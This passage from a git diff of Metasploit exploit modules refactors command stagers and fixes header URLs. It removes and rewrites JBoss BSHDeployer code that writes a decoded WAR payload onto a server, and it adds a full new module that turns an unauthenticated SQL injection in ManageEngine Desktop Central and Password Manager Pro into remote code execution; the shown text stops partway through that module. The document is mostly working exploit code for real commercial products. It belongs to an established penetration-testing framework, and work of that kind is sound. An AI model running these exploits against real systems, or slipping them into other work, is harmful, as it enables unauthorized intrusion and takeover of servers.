a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb +++ b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include REXML include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::Remote::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,7 +50,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'HP SiteScope 11.20 / Windows', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ], [ 'HP SiteScope 11.20 / Linux', diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 90b9a989e2..7c5029cbf6 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index dabfe034c6..9503af4d02 100644 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info={}) @@ -41,19 +41,23 @@ class Metasploit3 < Msf::Exploit::Remote [ ['Linux', { 'Platform' => 'linux', - 'Arch' => ARCH_X86 + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'bourne' }], ['Linux (x64)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86_64 + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => 'bourne' }], ['Windows', { 'Platform' => 'win', - 'Arch' => ARCH_X86 + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'vbs' }], ['Windows (x64)', { 'Platform' => 'win', - 'Arch' => ARCH_X86_64 + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => 'vbs' }], ], 'Privileged' => false, @@ -121,11 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote def setup_stager - case target.opts['Platform'] - when "linux" then opts = { :temp => './', :linemax => 2800 } - when "win" then opts = { :temp => '.', :linemax => 2800 } - end - execute_cmdstager(opts) + execute_cmdstager(:temp => './', :linemax => 2800) end @@ -194,8 +194,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit @cookie = '' - extend Msf::Exploit::CmdStagerBourne if target.opts['Platform'] == "linux" - setup_stager end end diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index 597af3a40a..cd4f1a1eb7 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04 ['Automatic', {} ], - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], @@ -247,7 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def exploit # login @@ -281,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote # send payload case @my_target['Platform'] when 'win' - print_status("#{peer} - Sending VBS stager...") + print_status("#{peer} - Sending command stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{peer} - Sending UNIX payload...") diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb index 12fbbbda2f..4b2814ccd4 100644 --- a/modules/exploits/multi/http/ispconfig_php_exec.rb +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 732dd27b37..520d48b6a8 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } - include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::JBoss def initialize(info = {}) super(update_info(info, @@ -82,14 +82,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), - OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), - OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), - OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), - OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]), - OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]), - OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]) - + OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), + OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]) ], self.class) end @@ -98,48 +92,12 @@ class Metasploit3 < Msf::Exploit::Remote jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) - - # Dynamic variables, only used if we need a stager - stager_base = rand_text_alpha(8+rand(8)) - stager_jsp_name = rand_text_alpha(8+rand(8)) - content_var = rand_text_alpha(8+rand(8)) - decoded_var = rand_text_alpha(8+rand(8)) - file_path_var = rand_text_alpha(8+rand(8)) - jboss_home_var = rand_text_alpha(8+rand(8)) - fos_var = rand_text_alpha(8+rand(8)) - - - # The following jsp script will write the exploded WAR file to the deploy/ - # directory. This is used to bypass the size limit for GET/HEAD requests - stager_jsp = <<-EOT -<%@page import="java.io.*, - java.util.*, - sun.misc.BASE64Decoder" -%> -<% - if (request.getParameter("#{content_var}") != null) { - String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); - String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war"; - try { - String #{content_var} = ""; - #{content_var} = request.getParameter("#{content_var}"); - FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); - byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); - #{fos_var}.write(#{decoded_var}); - #{fos_var}.close(); - } - catch(Exception e){ } - } -%> - -EOT - p = payload mytarget = target - if (target.name =~ /Automatic/) - mytarget = auto_target() - if (not mytarget) + if target.name =~ /Automatic/ + mytarget = auto_target + unless mytarget fail_with(Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") @@ -156,215 +114,89 @@ EOT # Generate the WAR containing the payload war_data = p.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform - }).to_s + :app_name => app_base, + :jsp_name => jsp_name, + :arch => mytarget.arch, + :platform => mytarget.platform + }).to_s encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') - if datastore['VERB'] == 'POST' then - deploy_payload_bsh(encoded_payload, app_base) + if http_verb == 'POST' + print_status("Deploying payload...") + opts = { + :file => "#{app_base}.war", + :contents => encoded_payload + } else - # We need to deploy a stager first - encoded_stager_jsp = Rex::Text.encode_base64(stager_jsp).gsub(/\n/, '') - deploy_stager_bsh(encoded_stager_jsp, stager_base, stager_jsp_name) + print_status("Deploying stager...") + stager_base = rand_text_alpha(8+rand(8)) + stager_jsp_name = rand_text_alpha(8+rand(8)) + stager_contents = stager_jsp(app_base) + opts = { + :dir => "#{stager_base}.war", + :file => "#{stager_base}.war/#{stager_jsp_name}.jsp", + :contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '') + } + end + + bsh_payload = generate_bsh(:create, opts) + package = deploy_bsh(bsh_payload) + + if package.nil? + fail_with(Failure::Unknown, "Failed to deploy") + end + + unless http_verb == 'POST' # now we call the stager to deploy our real payload war stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' - payload_data = "#{content_var}=#{Rex::Text.uri_encode(encoded_payload)}" - print_status("Calling stager to deploy final payload") - call_uri_mtimes(stager_uri, 5, 'POST', payload_data) + payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}" + print_status("Calling stager #{stager_uri } to deploy final payload") + res = deploy('method' => 'POST', + 'data' => payload_data, + 'uri' => stager_uri) + unless res && res.code == 200 + fail_with(Failure::Unknown, "Failed to deploy") + end end + # # EXECUTE # uri = '/' + app_base + '/' + jsp_name + '.jsp' print_status("Calling JSP file with final payload...") print_status("Executing #{uri}...") - - # The payload doesn't like POST requests - tmp_verb = datastore['VERB'] - tmp_verb = 'GET' if tmp_verb == 'POST' - call_uri_mtimes(uri, 5, tmp_verb) - + deploy('uri' => uri, 'method' => 'GET') # # DELETE # # The WAR can only be removed by physically deleting it, otherwise it # will get redeployed after a server restart. - delete_script = <<-EOT -String jboss_home = System.getProperty("jboss.server.home.dir"); -new File(jboss_home + "/deploy/#{app_base + '.war'}").delete(); -EOT - - delete_stager_script = <<-EOT -String jboss_home = System.getProperty("jboss.server.home.dir"); -new File(jboss_home + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}").delete(); -new File(jboss_home + "/deploy/#{stager_base + '.war'}").delete(); -new File(jboss_home + "/deploy/#{app_base + '.war'}").delete(); -EOT - - delete_script = delete_stager_script if datastore['VERB'] != 'POST' - print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...") - res = invoke_bshscript(delete_script, @pkg) - if !res - print_warning("WARNING: Unable to remove WAR [No Response]") + + files = {} + unless http_verb == 'POST' + files[:stager_jsp_name] = "#{stager_base}.war/#{stager_jsp_name}.jsp" + files[:stager_base] = "#{stager_base}.war" end - if (res.code < 200 || res.code >= 300) + files[:app_base] = "#{app_base}.war" + delete_script = generate_bsh(:delete, files) + + res = invoke_bsh_script(delete_script, package) + if res.nil? + print_warning("WARNING: Unable to remove WAR [No Response]") + elsif res.code < 200 || res.code >= 300 print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end handler end - - def deploy_stager_bsh(encoded_stager_code, stager_base, stager_jsp_name) - - jsp_file_var = rand_text_alpha(8+rand(8)) - jboss_home_var = rand_text_alpha(8+rand(8)) - fstream_var = rand_text_alpha(8+rand(8)) - byteval_var = rand_text_alpha(8+rand(8)) - stager_var = rand_text_alpha(8+rand(8)) - decoder_var = rand_text_alpha(8+rand(8)) - - # The following Beanshell script will write a short stager application into the deploy - # directory. This stager script is then used to install the payload - # - # This is neccessary to overcome the size limit for GET/HEAD requests - stager_bsh_script = <<-EOT -import java.io.FileOutputStream; -import sun.misc.BASE64Decoder; - -String #{stager_var} = "#{encoded_stager_code}"; - -BASE64Decoder #{decoder_var} = new BASE64Decoder(); -String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); -new File(#{jboss_home_var} + "/deploy/#{stager_base + '.war'}").mkdir(); -byte[] #{byteval_var} = #{decoder_var}.decodeBuffer(#{stager_var}); -String #{jsp_file_var} = #{jboss_home_var} + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}"; -FileOutputStream #{fstream_var} = new FileOutputStream(#{jsp_file_var}); -#{fstream_var}.write(#{byteval_var}); -#{fstream_var}.close(); -EOT - print_status("Creating exploded WAR in deploy/#{stager_base}.war/ dir via BSHDeployer") - deploy_bsh(stager_bsh_script) - end - - - def deploy_payload_bsh(encoded_payload, app_base) - - # The following Beanshell script will write the exploded WAR file to the deploy/ - # directory - payload_bsh_script = <<-EOT -import java.io.FileOutputStream; -import sun.misc.BASE64Decoder; - -String val = "#{encoded_payload}"; - -BASE64Decoder decoder = new BASE64Decoder(); -String jboss_home = System.getProperty("jboss.server.home.dir"); -byte[] byteval = decoder.decodeBuffer(val); -String war_file = jboss_home + "/deploy/#{app_base + '.war'}"; -FileOutputStream fstream = new FileOutputStream(war_file); -fstream.write(byteval); -fstream.close(); -EOT - - print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer") - deploy_bsh(payload_bsh_script) - - end - - def deploy_bsh(bsh_script) - if datastore['PACKAGE'] == 'auto' - packages = %w{ deployer scripts } - else - packages = [ datastore['PACKAGE'] ] - end - - success = false - packages.each do |p| - print_status("Attempting to use '#{p}' as package") - res = invoke_bshscript(bsh_script, p) - if !res - fail_with(Failure::Unknown, "Unable to deploy WAR [No Response]") - end - - if (res.code < 200 || res.code >= 300) - case res.code - when 401 - print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") - fail_with(Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") - end - - print_error("Upload to deploy WAR [#{res.code} #{res.message}]") - fail_with(Failure::Unknown, "Invalid reply: #{res.code} #{res.message}") - else - success = true - @pkg = p - break - end - end - - if not success - fail_with(Failure::Unknown, "Failed to deploy the WAR payload") - end - end - - - def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) - verb = datastore['VERB'] if verb.nil? - - # JBoss might need some time for the deployment. Try 5 times at most and - # wait 5 seconds inbetween tries - num_attempts.times do |attempt| - - if (verb == "POST") - res = send_request_cgi( - { - 'uri' => uri, - 'method' => verb, - 'data' => data - }, 5) - else - - uri += "?#{data}" unless data.nil? - res = send_request_cgi( - { - 'uri' => uri, - 'method' => verb - }, 30) - end - - msg = nil - if (!res) - msg = "Execution failed on #{uri} [No Response]" - elsif (res.code < 200 or res.code >= 300) - msg = "http request failed to #{uri} [#{res.code}]" - elsif (res.code == 200) - print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] - return res - end - - if (attempt < num_attempts - 1) - msg << ", retrying in 5 seconds..." - print_status(msg) if datastore['VERBOSE'] - select(nil, nil, nil, 5) - else - print_error(msg) - return res - end - end - end - - def auto_target - if datastore['VERB'] == 'HEAD' then + if http_verb == 'HEAD' then print_status("Sorry, automatic target detection doesn't work with HEAD requests") else print_status("Attempting to automatically select a target...") @@ -387,14 +219,14 @@ EOT end def query_serverinfo - path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo') + path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo') res = send_request_raw( { 'uri' => path, - 'method' => datastore['VERB'] - }, 20) + 'method' => http_verb + }) - if (not res) or (res.code != 200) + unless res && res.code == 200 print_error("Failed: Error requesting #{path}") return nil end @@ -404,7 +236,7 @@ EOT # Try to autodetect the target platform def detect_platform(res) - if (res.body =~ //m) + if res && res.body =~ //m os = $1 if (os =~ /Linux/i) return 'linux' @@ -414,13 +246,13 @@ EOT return 'win' end end + nil end - # Try to autodetect the target architecture def detect_architecture(res) - if (res.body =~ //m) + if res && res.body =~ //m arch = $1 if (arch =~ /(x86|i386|i686)/i) return ARCH_X86 @@ -428,32 +260,8 @@ EOT return ARCH_X86 end end + nil end - - # Invokes +bsh_script+ on the JBoss AS via BSHDeployer - def invoke_bshscript(bsh_script, pkg) - params = 'action=invokeOpByName' - params << '&name=jboss.' + pkg + ':service=BSHDeployer' - params << '&methodName=createScriptDeployment' - params << '&argType=java.lang.String' - params << '&arg0=' + Rex::Text.uri_encode(bsh_script) - params << '&argType=java.lang.String' - params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh' - - if (datastore['VERB']== "POST") - res = send_request_cgi({ - 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), - 'data' => params - }) - else - res = send_request_cgi({ - 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}" - }, 30) - end - res - end end diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 4c64b6f53c..b926d45a59 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index a9cf6273fc..41865e2c6e 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 77b3a3b126..846fd9daba 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 73e8d7adee..23d86ba140 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -33,10 +33,10 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], 'Platform' => %w{ win linux unix }, - 'Targets' => + 'Targets' => [ - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], - ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], + ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], 'DisclosureDate' => 'Jan 18 2013', @@ -80,6 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote } } request_parameters['cookie'] = @cookie if @cookie != nil + request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil res = send_request_cgi(request_parameters) if not (res and res.code == 200) fail_with(Failure::Unknown, 'Failed to execute the command.') @@ -135,7 +136,6 @@ class Metasploit3 < Msf::Exploit::Remote @to_delete = "/tmp/#{file}" end - def exploit @uri = target_uri @uri.path = normalize_uri(@uri.path) @@ -145,6 +145,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown) if not res @cookie = nil + @crumb = nil if res.code != 200 print_status('Logging in...') res = send_request_cgi({ @@ -159,17 +160,25 @@ class Metasploit3 < Msf::Exploit::Remote }) if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ - fail_with(Failure::NoAccess, 'login failed') + fail_with(Failure::NoAccess, 'Login failed') end sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] @cookie = "#{sessionid}" + + res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie}) + fail_with(Failure::Unknown) unless res and res.code == 200 else print_status('No authentication required, skipping login...') end + if (res.body =~ /"\.crumb", "([a-z0-9]*)"/) + print_status("Using CSRF token: '#{$1}'"); + @crumb = $1; + end + case target['Platform'] when 'win' - print_status("#{rhost}:#{rport} - Sending VBS stager...") + print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index 022a6c4476..ec577eb1d3 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb index fc1b6cdac2..461378195c 100644 --- a/modules/exploits/multi/http/lcms_php_exec.rb +++ b/modules/exploits/multi/http/lcms_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 154c2917ab..c7b8ba285e 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -97,4 +97,4 @@ class Metasploit3 < Msf::Exploit::Remote handler end -end \ No newline at end of file +end diff --git a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb new file mode 100644 index 0000000000..6daccce5c0 --- /dev/null +++ b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb @@ -0,0 +1,634 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/file_dropper' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection", + 'Description' => %q{ + This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet, + which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and + Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The + SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as + the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older + or upgraded builds). MySQL targets are more reliable due to the use of relative paths; + with PostgreSQL you should find the web root path via other means and specify it with + WEB_ROOT. + + The injection is only exploitable via a GET request, which means that the payload + has to be sent in chunks smaller than 8000 characters (URL size limitation). Small + payloads and the use of exe-small is recommended, as you can only do between 10 and + 20 injections before using up all the available ManagedConnections until the next + server restart. + + This vulnerability exists in all versions released since 2006, however builds below + DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your + luck using the MySQL targets as a JDK might be installed in the $PATH. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'References' => + [ + [ 'CVE', '2014-3996' ], + [ 'OSVDB', '110198' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ] + ], + 'Arch' => ARCH_X86, + 'Platform' => %w{ linux win }, + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows', + { + 'WebRoot' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\', + 'Database' => 'postgresql', + 'Platform' => 'win' + } + ], + [ 'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows', + { + 'WebRoot' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\', + 'Database' => 'postgresql', + 'Platform' => 'win' + } + ], + [ 'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows', + { + 'WebRoot' => '../../webapps/DesktopCentral/', + 'Database' => 'mysql', + 'Platform' => 'win' + } + ], + [ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows', + { + 'WebRoot' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\', + 'Database' => 'postgresql', + 'Platform' => 'win' + } + ], + [ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows', + { + 'WebRoot' => '../../webapps/PassTrix/', + 'Database' => 'mysql', + 'Platform' => 'win' + } + ], + [ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux', + { + 'WebRoot' => '/opt/ManageEngine/PMP/webapps/PassTrix/', + 'Database' => 'postgresql', + 'Platform' => 'linux' + } + ], + [ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux', + { + 'WebRoot' => '../../webapps/PassTrix/', + 'Database' => 'mysql', + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'DisclosureDate' => "Jun 8 2014")) + + register_options( + [ + OptPort.new('RPORT', + [true, 'The target port', 8020]), + OptString.new('WEB_ROOT', + [false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)']) + ], self.class) + + register_advanced_options( + [ + OptInt.new('CHUNK_SIZE', + [true, 'Number of characters to send per request (< 7800)', 7500]), + OptInt.new('SLEEP', + [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]), + OptBool.new('EXE_SMALL', + [true, 'Use exe-small encoding for better reliability', true]), + ], self.class) + + end + + def check + check_code = check_desktop_central + + if check_code == Exploit::CheckCode::Unknown + check_code = check_password_manager_pro + end + + check_code + end + + def exploit + @my_target = pick_target + if @my_target.nil? + fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.") + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case to avoid polluting the web root any more. + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /windows/i + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + if datastore['WEB_ROOT'] + web_root = datastore['WEB_ROOT'] + else + web_root = @my_target['WebRoot'] + end + + jsp_name = rand_text_alpha_lower(8) + ".jsp" + fullpath = web_root + jsp_name + inject_exec(fullpath) + register_file_for_cleanup(fullpath.sub('../','')) + + print_status("#{peer} - Requesting #{jsp_name}") + send_request_raw({'uri' => normalize_uri(jsp_name)}) + end + + # Test for Password Manager Pro + def password_manager_paths + db_paths = {} + + res = send_request_cgi({ + 'uri' => normalize_uri("PassTrixMain.cc"), + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body.to_s =~ /ManageEngine Password Manager Pro/ + if datastore['WEB_ROOT'] + db_paths[:postgresql] = datastore['WEB_ROOT'].dup + db_paths[:mysql] = datastore['WEB_ROOT'].dup + else + db_paths[:postgresql] = targets[4]['WebRoot'].dup + db_paths[:mysql] = targets[5]['WebRoot'].dup + end + end + + db_paths + end + + # Test for Desktop Central + def desktop_central_db_paths + db_paths = {} + res = send_request_cgi({ + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body.to_s =~ /ManageEngine Desktop Central/ + if datastore['WEB_ROOT'] + db_paths[:postgresql] = datastore['WEB_ROOT'].dup + db_paths[:mysql] = datastore['WEB_ROOT'].dup + elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/ + db_paths[:postgresql] = targets[2]['WebRoot'].dup + db_paths[:mysql] = 